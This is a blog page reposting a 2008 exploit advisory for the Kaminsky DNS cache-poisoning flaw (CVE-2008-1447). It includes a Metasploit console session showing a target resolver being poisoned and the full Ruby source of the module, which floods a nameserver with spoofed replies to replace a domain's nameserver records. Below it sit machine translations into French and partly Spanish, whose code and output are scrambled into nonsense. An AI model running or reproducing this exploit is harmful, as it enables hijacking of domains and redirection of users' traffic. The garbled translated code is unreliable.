 |
sami - My Blog
dns flaw july 2008 attack code
available in: (original) | | | | | | | | |
|
code de lattaque sur le dns (= faille dns) en juillet 2008
_ __
/ / | | | |
----====####/ /__##/ / ##| |##| |####====----
| | | |__| | | | | |
| | ___ | __ | | | | |
------======###### / /#| |##| |#| |##| |######======------
____/ |__| |__| ______/
Computer Academic Underground
http://www.caughq.org
Exploit Code
===============/==================================- ======================
Exploit ID: CAU-EX-2008-0003
Release Date: 2008.07.23
Title: bailiwicked_domain.rb
Description: Kaminsky DNS Cache Poisoning Flaw Exploit for Domains
Tested: BIND 9.4.1-9.4.2
Attributes: Remote, Poison, Resolver, Metasploit
Exploit URL: http://www.caughq.org/exploits/CAU-EX-2008-0003.tx- t
Author/Email: I)ruid
H D Moore
===============/==================================- ======================
Description
===========
This exploit targets a fairly ubiquitous flaw in DNS implementations
which allow the insertion of malicious DNS records into the cache of the
target nameserver. This exploit caches a single malicious nameserver
entry into the target nameserver which replaces the legitimate
nameservers for the target domain. By causing the target nameserver to
query for random hostnames at the target domain, the attacker can spoof
a response to the target server including an answer for the query, an
authority server record, and an additional record for that server,
causing target nameserver to insert the additional record into the
cache. This insertion completely replaces the original nameserver
records for the target domain.
Example
=======
# /msf3/msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
=[ msf v3.2-release
+ -- --=[ 298 exploits - 124 payloads
+ -- --=[ 18 encoders - 6 nops
=[ 73 aux
msf > use auxiliary/spoof/dns/bailiwicked_domain
msf auxiliary(bailiwicked_domain) > set RHOST A.B.C.D
RHOST => A.B.C.D
msf auxiliary(bailiwicked_domain) > set DOMAIN example.com
DOMAIN => example.com
msf auxiliary(bailiwicked_domain) > set NEWDNS dns01.metasploit.com
NEWDNS => dns01.metasploit.com
msf auxiliary(bailiwicked_domain) > set SRCPORT 0
SRCPORT => 0
msf auxiliary(bailiwicked_domain) > check
[*] Using the Metasploit service to verify exploitability...
[*] >> ADDRESS: A.B.C.D PORT: 50391
[*] >> ADDRESS: A.B.C.D PORT: 50391
[*] >> ADDRESS: A.B.C.D PORT: 50391
[*] >> ADDRESS: A.B.C.D PORT: 50391
[*] >> ADDRESS: A.B.C.D PORT: 50391
[*] FAIL: This server uses static source ports and is vulnerable to poisoning
msf auxiliary(bailiwicked_domain) > dig +short -t ns example.com @A.B.C.D
[*] exec: dig +short -t ns example.com @A.B.C.D
b.iana-servers.net.
a.iana-servers.net.
msf auxiliary(bailiwicked_domain) > run
[*] Switching to target port 50391 based on Metasploit service
[*] Targeting nameserver A.B.C.D for injection of example.com. nameservers as dns01.metasploit.com
[*] Querying recon nameserver for example.com.'s nameservers...
[*] Got an NS record: example.com. 171957 IN NS b.iana-servers.net.
[*] Querying recon nameserver for address of b.iana-servers.net....
[*] Got an A record: b.iana-servers.net. 171028 IN A 193.0.0.236
[*] Checking Authoritativeness: Querying 193.0.0.236 for example.com....
[*] b.iana-servers.net. is authoritative for example.com., adding to list of nameservers to spoof as
[*] Got an NS record: example.com. 171957 IN NS a.iana-servers.net.
[*] Querying recon nameserver for address of a.iana-servers.net....
[*] Got an A record: a.iana-servers.net. 171414 IN A 192.0.34.43
[*] Checking Authoritativeness: Querying 192.0.34.43 for example.com....
[*] a.iana-servers.net. is authoritative for example.com., adding to list of nameservers to spoof as
[*] Attempting to inject poison records for example.com.'s nameservers into A.B.C.D:50391...
[*] Sent 1000 queries and 20000 spoofed responses...
[*] Sent 2000 queries and 40000 spoofed responses...
[*] Sent 3000 queries and 60000 spoofed responses...
[*] Sent 4000 queries and 80000 spoofed responses...
[*] Sent 5000 queries and 100000 spoofed responses...
[*] Sent 6000 queries and 120000 spoofed responses...
[*] Sent 7000 queries and 140000 spoofed responses...
[*] Sent 8000 queries and 160000 spoofed responses...
[*] Sent 9000 queries and 180000 spoofed responses...
[*] Sent 10000 queries and 200000 spoofed responses...
[*] Sent 11000 queries and 220000 spoofed responses...
[*] Sent 12000 queries and 240000 spoofed responses...
[*] Sent 13000 queries and 260000 spoofed responses...
[*] Poisoning successful after 13250 attempts: example.com. == dns01.metasploit.com
[*] Auxiliary module execution completed
msf auxiliary(bailiwicked_domain) > dig +short -t ns example.com @A.B.C.D
[*] exec: dig +short -t ns example.com @A.B.C.D
dns01.metasploit.com.
Credits
=======
Dan Kaminsky is credited with originally discovering this vulnerability.
Cedric Blancher figured out the NS injection method and
was cool enough to email us and share!
References
==========
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-- 2008-1447
http://www.kb.cert.org/vuls/id/800113
Metasploit
==========
require 'msf/core'
require 'net/dns'
require 'scruby'
require 'resolv'
module Msf
class Auxiliary::Spoof:ns::BailiWickedDomain < Msf::Auxiliary
include Exploit::Remote::Ip
def initialize(info = {})
super(update_info(info,
'Name' => 'DNS BailiWicked Domain Attack',
'Description' => %q{
This exploit attacks a fairly ubiquitous flaw in DNS implementations which
Dan Kaminsky found and disclosed ~Jul 2008. This exploit replaces the target
domains nameserver entries in a vulnerable DNS cache server. This attack works
by sending random hostname queries to the target DNS server coupled with spoofed
replies to those queries from the authoritative nameservers for that domain.
Eventually, a guessed ID will match, the spoofed packet will get accepted, and
the nameserver entries for the target domain will be replaced by the server
specified in the NEWDNS option of this exploit.
},
'Author' =>
[
' I)ruid', 'hdm',
#
'Cedric Blancher ' # Cedric figured out the NS injection method
# and was cool enough to email us and share!
#
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 5591 $',
'References' =>
[
[ 'CVE', '2008-1447' ],
[ 'US-CERT-VU', '8000113' ],
[ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0003.t- xt' ],
],
'DisclosureDate' => 'Jul 21 2008'
))
register_options(
[
OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]),
OptString.new('DOMAIN', [true, 'The domain to hijack', 'example.com']),
OptString.new('NEWDNS', [true, 'The hostname of the replacement DNS server', nil]),
OptAddress.new('RECONS', [true, 'Nameserver used for reconnaissance', '208.67.222.222']),
OptInt.new('XIDS', [true, 'Number of XIDs to try for each query', 10]),
OptInt.new('TTL', [true, 'TTL for the malicious NS entry', 31337]),
], self.class)
end
def auxiliary_commands
return { "check" => "Determine if the specified DNS server (RHOST) is vulnerable" }
end
def cmd_check(*args)
targ = args[0] || rhost()
if(not (targ and targ.length > 0))
print_status("usage: check [dns-server]"
return
end
print_status("Using the Metasploit service to verify exploitability..."
srv_sock = Rex::Socket.create_udp(
'PeerHost' => targ,
'PeerPort' => 53
)
random = false
ports = []
lport = nil
1.upto(5) do |i|
req = Resolv:NS::Message.new
txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000- ).to_i}.red.metasploit.com"
req.add_question(txt, Resolv:NS::Resource::IN::TXT)
req.rd = 1
srv_sock.put(req.encode)
res, addr = srv_sock.recvfrom()
if res and res.length > 0
res = Resolv:NS::Message.decode(res)
res.each_answer do |name, ttl, data|
if (name.to_s == txt and data.strings.join('') =~ /^([^s]+)s+.*red.metasploit.com/m)
t_addr, t_port = $1.split(':')
print_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}"
t_port = t_port.to_i
if(lport and lport != t_port)
random = true
end
lport = t_port
ports << t_port
end
end
end
end
srv_sock.close
if(ports.length < 5)
print_status("UNKNOWN: This server did not reply to our vulnerability check requests"
return
end
if(random)
print_status("PASS: This server does not use a static source port. Ports:#{ports.join(", "}"
print_status(" This server may still be exploitable, but not by this tool."
else
print_status("FAIL: This server uses static source ports and is vulnerable to poisoning"
end
end
def run
target = rhost()
source = Rex::Socket.source_address(target)
sport = datastore['SRCPORT']
domain = datastore['DOMAIN'] + '.'
newdns = datastore['NEWDNS']
recons = datastore['RECONS']
xids = datastore['XIDS'].to_i
newttl = datastore['TTL'].to_i
xidbase = rand(20001) + 20000
address = Rex::Text.rand_text(4).unpack("C4".join("."
srv_sock = Rex::Socket.create_udp(
'PeerHost' => target,
'PeerPort' => 53
)
# Get the source port via the metasploit service if it's not set
if sport.to_i == 0
req = Resolv:NS::Message.new
txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red- .metasploit.com"
req.add_question(txt, Resolv:NS::Resource::IN::TXT)
req.rd = 1
srv_sock.put(req.encode)
res, addr = srv_sock.recvfrom()
if res and res.length > 0
res = Resolv:NS::Message.decode(res)
res.each_answer do |name, ttl, data|
if (name.to_s == txt and data.strings.join('') =~ /^([^s]+)s+.*red.metasploit.com/m)
t_addr, t_port = $1.split(':')
sport = t_port.to_i
print_status("Switching to target port #{sport} based on Metasploit service"
if target != t_addr
print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!"
end
end
end
end
end
# Verify its not already poisoned
begin
query = Resolv:NS::Message.new
query.add_question(domain, Resolv:NS::Resource::IN::NS)
query.rd = 0
begin
cached = false
srv_sock.put(query.encode)
answer, addr = srv_sock.recvfrom()
if answer and answer.length > 0
answer = Resolv:NS::Message.decode(answer)
answer.each_answer do |name, ttl, data|
if((name.to_s + "." == domain and data.name.to_s == newdns)
t = Time.now + ttl
print_status("Failure: This domain is already using #{newdns} as a nameserver"
print_status(" Cache entry expires on #{t.to_s}"
srv_sock.close
disconnect_ip
return
end
end
end
end until not cached
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_status("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}"
end
res0 = Net:NS::Resolver.new(:nameservers => [recons], ns_search => false, :recursive => true) # reconnaissance resolver
print_status "Targeting nameserver #{target} for injection of #{domain} nameservers as #{newdns}"
# Look up the nameservers for the domain
print_status "Querying recon nameserver for #{domain}'s nameservers..."
answer0 = res0.send(domain, Net:NS::NS)
#print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities"
barbs = [] # storage for nameservers
answer0.answer.each do |rr0|
print_status " Got an #{rr0.type} record: #{rr0.inspect}"
if rr0.type == 'NS'
print_status " Querying recon nameserver for address of #{rr0.nsdname}..."
answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname
#print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities"
answer1.answer.each do |rr1|
print_status " Got an #{rr1.type} record: #{rr1.inspect}"
res2 = Net:NS::Resolver.new(:nameservers => rr1.address, ns_search => false, :recursive => false, :retry => 1)
print_status " Checking Authoritativeness: Querying #{rr1.address} for #{domain}..."
answer2 = res2.send(domain)
if answer2 and answer2.header.auth? and answer2.header.anCount >= 1
nsrec = {:name => rr0.nsdname, :addr => rr1.address}
barbs << nsrec
print_status " #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as"
end
end
end
end
if barbs.length == 0
print_status( "No DNS servers found."
srv_sock.close
disconnect_ip
return
end
# Flood the target with queries and spoofed responses, one will eventually hit
queries = 0
responses = 0
connect_ip if not ip_sock
print_status( "Attempting to inject poison records for #{domain}'s nameservers into #{target}:#{sport}..."
while true
randhost = Rex::Text.rand_text_alphanumeric(12) + '.' + domain # randomize the hostname
# Send spoofed query
req = Resolv:NS::Message.new
req.id = rand(2**16)
req.add_question(randhost, Resolv:NS::Resource::IN::A)
req.rd = 1
buff = (
Scruby::IP.new(
#:src => barbs[0][:addr].to_s,
:src => source,
st => target,
roto => 17
)/Scruby::UDP.new(
:sport => (rand((2**16)-1024)+1024).to_i,
port => 53
)/req.encode
).to_net
ip_sock.sendto(buff, target)
queries += 1
# Send evil spoofed answer from ALL nameservers (barbs[*][:addr])
req.add_answer(randhost, newttl, Resolv:NS::Resource::IN::A.new(address))
req.add_authority(domain, newttl, Resolv:NS::Resource::IN::NS.new(Resolv:NS::Name.create(newdns)))
req.add_additional(newdns, newttl, Resolv:NS::Resource::IN::A.new(address)) # Ignored
req.qr = 1
req.aa = 1
xidbase.upto(xidbase+xids-1) do |id|
req.id = id
barbs.each do |barb|
buff = (
Scruby::IP.new(
#:src => barbs[:addr].to_s,
:src => barb[:addr].to_s,
st => target,
roto => 17
)/Scruby::UDP.new(
:sport => 53,
port => sport.to_i
)/req.encode
).to_net
ip_sock.sendto(buff, target)
responses += 1
end
end
# status update
if queries % 1000 == 0
print_status("Sent #{queries} queries and #{responses} spoofed responses..."
end
# every so often, check and see if the target is poisoned...
if queries % 250 == 0
begin
query = Resolv:NS::Message.new
query.add_question(domain, Resolv:NS::Resource::IN::NS)
query.rd = 0
srv_sock.put(query.encode)
answer, addr = srv_sock.recvfrom()
if answer and answer.length > 0
answer = Resolv:NS::Message.decode(answer)
answer.each_answer do |name, ttl, data|
if((name.to_s + "." == domain and data.name.to_s == newdns)
print_status("Poisoning successful after #{queries} attempts: #{domain} == #{newdns}"
srv_sock.close
disconnect_ip
return
end
end
end
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_status("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}"
end
end
end
end
end
end
code d'attaque du juillet 2008 de paille de DNS
Automatically translated into French thanks to WorldLingo
/de __ du juillet 2008 d'en de le dns de sur de code de lattaque (= faille
DNS)
_/ | | | |
----====####//__ ##//##| |##| |####====----
| | | |__| | | | | |
| | ___ | _ _ | | | | |
------======######//#| |##| |#| |##| |######======------
____/ |__| |__| Identification
souterraine d'exploit de ======================
du code
===============/==================================- d'exploit
de http://www.caughq.org d'universitaire
d'ordinateur de ______/: Date
du dégagement CAU-EX-2008-0003 : 2008.07.23
Titre : description
de bailiwicked_domain.rb : Exploit de paille d'empoisonnement de cachette de Kaminsky DNS pour des domaines
examinés : Attributs du GRIPPAGE
9.4.1-9.4.2 : Extérieur, poison, séparateur, URL
d'exploit de Metasploit : auteur de http://www.caughq.org/exploits/CAU-EX-2008-0003.tx-
t/email : ) Le
=========== de description
de ======================
de ===============/==================================-
cette exploit vise une paille assez omniprésente dans les réalisations de DNS
qui permettent l'insertion des disques malveillants de DNS dans la cachette
du nameserver de cible. Cette exploit cache une entrée malveillante simple
de nameserver dans le nameserver de cible qui remplace les nameservers
légitimes pour le domaine de cible. En faisant questionner le nameserver de cible
pour les hostnames aléatoires au domaine de cible, l'attaquant peut charrier
une réponse au serveur de cible comprenant une réponse pour la question,
un disque de serveur d'autorité, et un disque additionnel pour ce serveur,
faisant insérer le nameserver de cible le disque additionnel dans
la cachette. Cette insertion remplace complètement les disques originaux
de nameserver pour le domaine de cible.
##
de ###
de #### de ####
de #### de ## de ##### de #####
de ### de #### de ## de ## de ## de ## de ## de ## de ## de #####
de ## de ## de ## de ## de ## de ## du ## # de ## de ## de ## de ## de ##
de ## de ## de #### de ##### de ## de ###### de ####### de ## de ### de ## de ## de ##
de ## de ## de ## de ## de ## de ## de ## de ####### de ###### de #### de ## de ##### de ##### de ####
de ###### de #### de ## de ## de ## de ## de ### de ## du ======= # /msf3/msfconsole
d'exemple
= [msf v3.2-release
+ -- --= [298 exploits - 124 charges utiles
+ -- --= [18 encodeurs - 6 nops
= [le msf 73
aux. > l'utilisation auxiliaire/charrient/auxiliaire msf de DNS
/bailiwicked_domain (bailiwicked_domain) > ont placé l'auxiliaire de msf
du => A.B.C.D de RHOST
A.B.C.D RHOST (bailiwicked_domain) > ont placé l'auxiliaire de msf
d'example.com de => de DOMAINE
d'example.com de DOMAINE (bailiwicked_domain) > ont placé l'auxiliaire de msf
de dns01.metasploit.com de => de NEWDNS
dns01.metasploit.com NEWDNS (bailiwicked_domain) > ont placé l'auxiliaire de msf
du => 0 de SRCPORT
0 SRCPORT (bailiwicked_domain) > le contrôle
[*] employant le service de Metasploit pour vérifier l'exploitability…
[*] >> ADRESSE : PORT D'A.B.C.D : 50391
[*] >> ADRESSE : PORT D'A.B.C.D : 50391
[*] >> ADRESSE : PORT D'A.B.C.D : 50391
[*] >> ADRESSE : PORT D'A.B.C.D : 50391
[*] >> ADRESSE : PORT D'A.B.C.D : [
*] ÉCHOUER 50391 : Ce serveur emploie les ports statiques de source et est vulnérable à l'auxiliaire
de msf d'empoisonnement (bailiwicked_domain) > la fouille +short - exec de t NS example.com
@A.B.C.D [*] : fouille +short - t NS example.com @A.B.C.D
b.iana-servers.net.
a.iana-servers.net.
l'auxiliaire de msf (bailiwicked_domain) > courent
[*] la commutation pour viser le port 50391 basé sur le service de Metasploit
[*] visant le nameserver A.B.C.D pour l'injection d'example.com. nameservers comme dns01.metasploit.com
[*] questionnant le nameserver reconditionné pour example.com. 'nameservers de s…
[*] a obtenu un disque de NS : example.com. 171957 DANS NS b.iana-servers.net.
[*] questionnant le nameserver reconditionné pour l'adresse de b.iana-servers.net….
[*] a obtenu un disque d'A : b.iana-servers.net. 171028 DANS A 193.0.0.236
[*] vérifiant Authoritativeness : Questionnant 193.0.0.236 pour example.com….
[*] b.iana-servers.net. est bien fondé pour example.com. , s'ajoutant à la liste de nameservers pour charrier comme
[*] obtenue un disque de NS : example.com. 171957 DANS NS a.iana-servers.net.
[*] questionnant le nameserver reconditionné pour l'adresse d'a.iana-servers.net….
[*] a obtenu un disque d'A : a.iana-servers.net. 171414 DANS A 192.0.34.43
[*] vérifiant Authoritativeness : Questionnant 192.0.34.43 pour example.com….
[*] a.iana-servers.net. est bien fondé pour example.com. , s'ajoutant à la liste de nameservers pour charrier comme
[*] essayant d'injecter des disques de poison pour example.com. 'nameservers de s dans A.B.C.D : 50391…
[*] envoyé 1000 questions et 20000 a charrié des réponses…
[*] envoyé 2000 questions et 40000 a charrié des réponses…
[*] envoyé 3000 questions et 60000 a charrié des réponses…
[*] envoyé 4000 questions et 80000 a charrié des réponses…
[*] envoyé 5000 questions et 100000 a charrié des réponses…
[*] envoyé 6000 questions et 120000 a charrié des réponses…
[*] envoyé 7000 questions et 140000 a charrié des réponses…
[*] envoyé 8000 questions et 160000 a charrié des réponses…
[*] envoyé 9000 questions et 180000 a charrié des réponses…
[*] envoyé 10000 questions et 200000 a charrié des réponses…
[*] envoyé 11000 questions et 220000 a charrié des réponses…
[*] envoyé 12000 questions et 240000 a charrié des réponses…
[*] envoyé 13000 questions et 260000 a charrié des réponses…
[*] empoisonnement réussi après 13250 tentatives : example.com. l'exécution auxiliaire
de module de dns01.metasploit.com de == [*] a accompli
l'auxiliaire de msf (bailiwicked_domain) > la fouille +short - exec de t NS example.com
@A.B.C.D [*] : fouille +short - t NS example.com @A.B.C.D
dns01.metasploit.com.
Le =======
Dan
Kaminsky de crédits est crédité de découvrir à l'origine cette vulnérabilité.
Le a figuré dehors la méthode d'injection de NS et
était assez frais à l'email nous et part !
Les références que
le ==========
2008-1447 de http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE--
http://www.kb.cert.org/vuls/id/800113
Metasploit
de ==========
exigent « msf/noyau »
exigent le « filet/DNS »
exigent « scruby »
exigent l'auxiliaire de classe de Msf
de module de «
resolv » : : Charriez : NS : : BailiWickedDomain < Msf : : L'auxiliaire
incluent l'exploit : : Extérieur : : Le def
d'IP initialisent (information = {})
superbe (update_info (information,
=> %q de « description » de => « de « nom » attaque
de domaine de DNS BailiWicked », {
cette exploit attaque une paille assez omniprésente dans les réalisations de DNS que
Dan Kaminsky a trouvé et a révélé le ~ le jui. 2008. Cette exploit remplace les entrées
de nameserver de domaines de cible dans un serveur vulnérable de cachette de DNS. Cette attaque fonctionne
à côté d'envoyer des questions aléatoires de hostname au serveur de la cible DNS couplé aux réponses
charriées à ces questions des nameservers bien fondés pour ce domaine.
Par la suite, un match deviné de volonté d'identification, le paquet charrié obtiendra admis, et
les entrées de nameserver pour le domaine de cible seront remplacées par le serveur
indiqué dans l'option de NEWDNS de cette exploit.
},
le « auteur » ruid
du =>
[« I) », « hdm »,
le
de blanchisseur de # « Cedric [à] rstack.org> » # Cedric a figuré dehors la méthode # d'injection
de NS et était assez frais à l'email nous et part !
#
],
« permis » => MSF_LICENSE,
« version » => '$Revision : 5591 $ ',
de « références » =>
[
[« CVE », « 2008-1447 »],
[« US-CERT-VU », « 8000113 »],
[« URL », « de xt de http://www.caughq.org/exploits/CAU-EX-2008-0003.t- »],
],
=> le « 21 jui. 2008 » de « DisclosureDate »
))
register_options (
[
OptPort.new (« SRCPORT », [vrai, « le port de question de la source du serveur de cible (0 pour automatique) », zéro]),
OptString.new (« DOMAINE », [vrai, « le domaine au détournement », « example.com »]),
OptString.new (« NEWDNS », [vrai, « le hostname du serveur de rechange DNS », zéro]),
OptAddress.new (« RECONS », [vrai, « Nameserver utilisé pour la reconnaissance », « 208.67.222.222 »]),
OptInt.new (« XIDS », [rectifiez, le « nombre de XIDs pour essayer pour chaque question », 10]),
OptInt.new (« TTL », [vraie, « TTL pour l'entrée malveillante de NS », 31337]),
], targ de cmd_check
de def
d'extrémité de retour
d'auxiliary_commands de def d'extrémité de self.class) { » le => « de « contrôle déterminent si le serveur indiqué de DNS (RHOST)
est
vulnérable »} (*args
) = args [0] || rhost ()
si (pas (targ et targ.length > 0))
print_status (« utilisation : print_status de retour de fin de contrôle [
DNS-serveur
]
« (« en utilisant le service de Metasploit srv_sock = Rex pour vérifier
exploitability… » : : Les ports aléatoires
= faux de Socket.create_udp (targ de =>
de « PeerHost », =>
53
de « PeerPort »
) = []
lport = zéro
1.upto (5) |i|
req = Resolv : NS : : Le txt
de Message.new = « spoofprobe-vérifient-# {I} - # {$$} # {(couche-point () *1000000-) .to_i} .red.metasploit.com »
req.add_question (txt, Resolv : NS : : Ressource : : DANS : : TXT)
req.rd = 1
recherche de srv_sock.put (req.encode
), addr = srv_sock.recvfrom ()
si recherche et res.length > 0
recherche = Resolv : NS : : Message.decode (recherche)
res.each_answer |nom, TTL, données|
si (txt de == de name.to_s et =~/^ de data.strings.join ('') ([^s] +) t_addr de s+.*
red.metasploit.com/m), t_port = $1.split (« : »)
print_status (« >> ADRESSE : PORT de # {t_addr} : t_port de # {t_port}
« = t_port.to_i
si (lport et lport ! = le lport de t_port
) le t_port aléatoires
=
véritables d'extrémité =
met en communication << l'extrémité
srv_sock.close
d'extrémité
d'extrémité
d'extrémité
de t_port
si (ports.length < 5)
print_status (« INCONNU : Ce serveur n'a pas répondu à nos demandes " extrémité de retour
de contrôle
de vulnérabilité
si print_status (aléatoire
) (« PASSAGE : Ce serveur n'emploie pas un port statique de source. Ports : # {ports.join (« , »} «
print_status (« ce serveur peut encore être exploitable, mais pas par cet outil. »
print_status
d'autre (« ÉCHOUER : Ce serveur emploie les ports statiques de source et est vulnérable cible de course de def
d'extrémité
d'extrémité
à empoisonnement
" = source = Rex
de rhost () : : Sport de Socket.source_address (cible
) = domaine du datastore [« SRCPORT »
] = datastore [« DOMAINE »] + « . »
newdns = recons du datastore [« NEWDNS »
] = xids du datastore [« RECONS »
] = newttl du datastore [« XIDS »]
.to_i = xidbase du datastore [« TTL »]
.to_i = adresse 20000 = Rex du couche-point (
20001) + : : Text.rand_text (4) .unpack (« C4 » .join ( ». «
srv_sock = Rex : : Socket.create_udp (
cible de => de « PeerHost »,
=> 53 de « PeerPort »
)
# obtiennent le port de source par l'intermédiaire du service de metasploit s'ils ne sont pas placés
si req = Resolv
du == 0 de sport.to_i : NS : : Txt
de Message.new = « spoofprobe-# {$$} # {(couche-point () *1000000) .to_i} .red- .metasploit.com »
req.add_question (txt, Resolv : NS : : Ressource : : DANS : : TXT)
req.rd = 1
recherche de srv_sock.put (req.encode
), addr = srv_sock.recvfrom ()
si recherche et res.length > 0
recherche = Resolv : NS : : Message.decode (recherche)
res.each_answer |nom, TTL, données|
si (txt de == de name.to_s et =~/^ de data.strings.join ('') ([^s] +) t_addr de s+.*
red.metasploit.com/m), t_port = $1.split (« : »)
sport = print_status
de t_port.to_i (« commutant à la cible port # {sport} basé sur le service de Metasploit »
si cible ! = print_status
de t_addr (« avertissant : l'adresse # {cible} de cible n'est pas identique comme l'adresse # {t_addr} de source de la question des nameserver ! «
l'extrémité
#
d'extrémité
d'extrémité
d'extrémité
d'extrémité vérifient que son pas déjà empoisonné
commencez
la question = le Resolv : NS : : Message.new
query.add_question (domaine, Resolv : NS : : Ressource : : DANS : : Le NS)
query.rd = 0
commencent
caché = réponse
fausse, addr =
srv_sock.recvfrom de srv_sock.put (query.encode) ()
si réponse et answer.length > 0
réponses = Resolv : NS : : Message.decode (réponse)
answer.each_answer |nom, TTL, données|
si ((name.to_s + « . » domaine de == et newdns de == de data.name.to_s)
t = Time.now + print_status
de TTL (« échec : Ce domaine emploie déjà # {newdns} car print_status d'un nameserver
" (« l'entrée de cachette expire extrémité d'extrémité d'extrémité d'extrémité de retour de disconnect_ip
de srv_sock.close
sur
#
{
t.to_s
}
» jusqu'à ce que délivrance
non cachée : : Augmenter
$ d'interruption !
délivrance : : Print_status du => e
d'exception (« vérification des erreurs le nom de DNS : extrémité de # # {e.class} {e} # {e.backtrace}
«
res0 = filet : NS : : Resolver.new (: => de nameservers [recons], => de ns_search faux : print_status vrai de séparateur de reconnaissance du => récursif)
# « visant le nameserver # {cible} pour l'injection des nameservers de # {domaine} pendant que # {newdns} »
# recherchent les nameservers pour le print_status
de domaine « questionnant le nameserver reconditionné pour # {domaine} 'nameservers de s… »
answer0 = res0.send (domaine, filet : NS : : Bavures d'autorités
du #print_status de NS) « la réponse obtenue avec des réponses de # {answer0.header.anCount}, # {answer0.header.nsCount}
» = [] stockage de # pour les nameservers
answer0.answer.each font |rr0|
le print_status « a obtenu un disque de # {rr0.type} : # {rr0.inspect} «
si réponse obtenue pour de hostname
de NS le » de == de rr0.type « print_status « questionnant le nameserver reconditionné pour l'adresse de #
{rr0.nsdname}… » answer1 = res0.send (rr0.nsdname) # obtiennent
la réponse du NS #print_status « avec des réponses de # {answer1.header.anCount}, les autorités » answer1.answer.each de # {answer1.header.nsCount
} font |rr1|
le print_status « a obtenu un disque de # {rr1.type} : # {rr1.inspect} «
res2 = filet : NS : : Resolver.new (: => rr1.address, => de nameservers de ns_search faux : => récursif faux : print_status du => 1 de tentative
) « vérifiant Authoritativeness : Questionnant # {rr1.address} pour # {domaine}… «
answer2 = res2.send (domaine)
si answer2 et answer2.header.auth ? et nsrec du >= 1
d'answer2.header.anCount = {: => nommé rr0.nsdname : les bavures du => rr1.address d'addr
} << le print_status
« # {rr0.nsdname} de nsrec est bien fondé pour # {domaine}, s'ajoutant à la liste de nameservers pour charrier en tant que »
extrémité
d'extrémité
d'extrémité
d'extrémité
si print_status du == 0
de barbs.length (« serveur de DNS n'a pas trouvé. »
l'inondation
de l'extrémité
#
de retour
de disconnect_ip de srv_sock.close la cible avec les questions et les réponses charriées, une frappera par la suite
des questions = les réponses
0 = 0
print_status d'ip_sock de connect_ip
sinon (« essayant d'injecter des disques de poison nameservers de s pour # {domaine} 'dans # {cible} : # {sport}… »
tandis que randhost
= Rex vrais : : Text.rand_text_alphanumeric (12) + « . » + le domaine # randomisent le hostname
# envoient le req charrié
= le Resolv de question : NS : : Message.new
req.id = couche-point (2 ** 16)
req.add_question (randhost, Resolv : NS : : Ressource : : DANS : : A)
req.rd = 1
de couleur chamois = (
Scruby : : IP.new (
# : bavures de => de src [0] [: addr] .to_s
: source de => de src,
cible de => de rue,
=> de roto 17
) /Scruby : : UDP.new (
: le => de sport (couche-point ((2 ** 16) - 1024) +1024) .to_i,
les questions gauches +=
1 #
du => 53
) /req.encode) .to_net ip_sock.sendto (
cuir épais, cible
) envoient la réponse charriée par mal de TOUS LES nameservers (bavures [*] [: addr])
req.add_answer (randhost, newttl, Resolv : NS : : Ressource : : DANS : : A.new (adresse))
req.add_authority (domaine, newttl, Resolv : NS : : Ressource : : DANS : : NS.new (Resolv : NS : : Name.create (newdns)))
req.add_additional (newdns, newttl, Resolv : NS : : Ressource : : DANS : : A.new (adresse)) # ignoré
req.qr = 1
req.aa = 1
xidbase.upto (xidbase+xids-1) |identification|
req.id = identification
barbs.each |bavure|
cuir épais = (
Scruby : : IP.new (
# : bavures de => de src [: addr] .to_s
: bavure de => de src [: addr] .to_s,
cible de => de rue,
=> de roto 17
) /Scruby : : UDP.new (
: le => 53, mise à jour
gauche de statut de la fin
# d'extrémité
des réponses +=
1 du => sport.to_i) /req.encode)
.to_net ip_sock.sendto (
cuir épais
,
cible) si
% du print_status 1000 du == 0 de questions
(« a envoyé des questions de # {questions} et # {réponses} l'extrémité # a charrié réponses…
»
chaque tellement souvent, contrôle de sport et voient si la cible est empoisonnée…
si % du == 0 de questions 250
commencent
la question = le Resolv : NS : : Message.new
query.add_question (domaine, Resolv : NS : : Ressource : : DANS : : NS)
query.rd = 0
réponses, addr =
srv_sock.recvfrom de srv_sock.put (query.encode) ()
si réponse et answer.length > 0
réponses = Resolv : NS : : Message.decode (réponse)
answer.each_answer |nom, TTL, données|
si ((name.to_s + « . » domaine de == et print_status de newdns de == de data.name.to_s
) (le « empoisonnement réussi après # {questions} essaye : délivrance de fin d'extrémité d'extrémité de retour de disconnect_ip de srv_sock.close du == # {
domaine
}
#
{
newdns
}
« : : Augmenter
$ d'interruption !
délivrance : : Print_status du => e
d'exception (« erreur questionnant le nom de DNS : extrémité d'extrémité d'extrémité d'extrémité d'extrémité d'extrémité de # # {e.class} {e
}
#
{
e.backtrace
}
«
código del ataque del julio de 2008 del defecto del dns
Automatically translated into Spanish thanks to WorldLingo
de code de lattaque del sur de le dns (= faille dns) del en del juillet 2008
_ del __
// | | | |
----====####//__ ##//##| |##| |####====----
| | | |__| | | | | |
| | ___ | _ _ | | | | |
------======######//#| |##| |#| |##| |######======------
____/ |__| |__| Identificación
subterránea académica de la hazaña
del ======================
del código ===============/==================================-
de la hazaña de http://www.caughq.org
de la computadora de ______/: Fecha
del lanzamiento CAU-EX-2008-0003: 2008.07.23
Título: descripción
de bailiwicked_domain.rb: Hazaña del defecto del envenenamiento del escondrijo de Kaminsky DNS para los dominios
probados: Cualidades del LAZO
